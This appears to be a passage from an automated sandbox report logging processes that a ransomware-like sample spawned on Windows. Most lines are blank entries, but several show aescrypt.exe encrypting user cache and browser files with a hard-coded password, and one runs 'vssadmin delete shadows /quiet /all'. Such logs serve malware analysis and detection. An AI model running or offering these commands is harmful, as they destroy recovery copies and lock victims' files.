Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_16[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_18[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_23[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_25[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_26[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_27[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_2[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_3[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_4[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_7[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_8[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /quiet /all	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_10[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_12[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_16[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_19[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_24[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_25[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_26[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_27[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_5[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_6[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_12[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
